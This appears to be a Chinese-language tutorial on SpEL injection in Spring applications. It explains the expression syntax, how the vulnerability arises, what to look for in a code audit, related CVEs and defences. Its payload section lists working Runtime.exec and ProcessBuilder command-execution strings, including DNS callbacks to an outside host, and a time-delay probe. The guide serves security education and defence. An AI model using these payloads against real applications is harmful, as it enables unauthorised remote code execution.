SPEL注入详解
字数 1149 2025-08-11 00:55:07
Spring表达式语言(SpEL)注入详解
1. SpEL简介
SpEL(Spring Expression Language)是Spring框架中的一种强大的表达式语言,比JSP的EL更强大,具有方法调用和字符串模板功能。它是Spring框架核心功能之一,用于通过依赖注入方式管理Bean之间的依赖关系。
1.1 表达式语言概念
表达式语言/模板:在固定格式中填充变量的技术。类似的语言包括:
- EL:常用于JSP页面
- OGNL:Struts框架中常见
2. SpEL功能概述
SpEL支持以下主要功能:
- 文字表达式
- 布尔和关系运算符
- 正则表达式
- 类表达式
- 访问属性、数组、列表、映射
- 方法调用
- 关系运算符
- 赋值
- 调用构造方法
- Bean引用(使用@符号)
- 数组构造
- 内联列表
- 三元运算符
- 变量表达式
- 用户定义函数
- 集合投影
- 集合选择
- 模板化表达式
3. SpEL基本用法
3.1 基本语法示例
ExpressionParser parser = new SpelExpressionParser(); // 创建解析器
Expression exp = parser.parseExpression("'Hello World'"); // 解析表达式
String message = (String) exp.getValue(); // 执行表达式并获取值
3.2 上下文设置
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0"); // 设置上下文
context.setVariable("variable", "ruilin"); // 设置变量
String result1 = parser.parseExpression("#variable").getValue(context, String.class); // 取值
4. SpEL语法详解
SpEL使用#{...}作为定界符,支持:
- 引用对象:
#{car} - 引用对象属性:
#{car.brand} - 方法调用:
#{car.toString()} - 链式操作
4.1 T()运算符
用于调用类作用域的方法和常量:
#{T(java.lang.Math)} // 返回Math类对象
5. SpEL常用功能
5.1 类类型表达式
ExpressionParser parser1 = new SpelExpressionParser();
Expression exp1 = parser1.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");
Object value = exp1.getValue(); // 执行命令
5.2 方法调用
ExpressionParser parser2 = new SpelExpressionParser();
Expression exp2 = parser2.parseExpression("'abc'.substring(2,3)");
String message2 = (String) exp2.getValue();
5.3 变量表达式
context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
5.4 模板表达式
ExpressionParser parser5 = new SpelExpressionParser();
Expression exp5 = parser2.parseExpression("spel test is #{T(java.lang.Math).random()}", new TemplateParserContext());
String message5 = (String) exp2.getValue(String.class);
6. SpEL注入漏洞
6.1 漏洞成因
当满足以下条件时,可能产生SpEL注入漏洞:
- 评估表达式外部可控
- 使用
StandardEvaluationContext(默认使用) - 执行了
getValue()等操作
6.2 评估上下文区别
SimpleEvaluationContext:限制功能,更安全StandardEvaluationContext:提供全部功能,风险更高
6.3 代码审计要点
检查以下调用链:
parseExpression() → StandardEvaluationContext() → getValue()
6.4 常见Payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
7. 实际漏洞案例
- SpringBoot SpEL表达式注入漏洞
- Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
8. 防御措施
- 使用
SimpleEvaluationContext替代StandardEvaluationContext - 对用户输入进行严格过滤和验证
- 避免直接执行用户提供的表达式
- 使用安全的解析器配置
9. 总结
SpEL注入是Spring应用中常见的安全风险,理解其工作原理和潜在风险对于开发安全应用至关重要。通过合理配置和使用安全的评估上下文,可以有效降低SpEL注入的风险。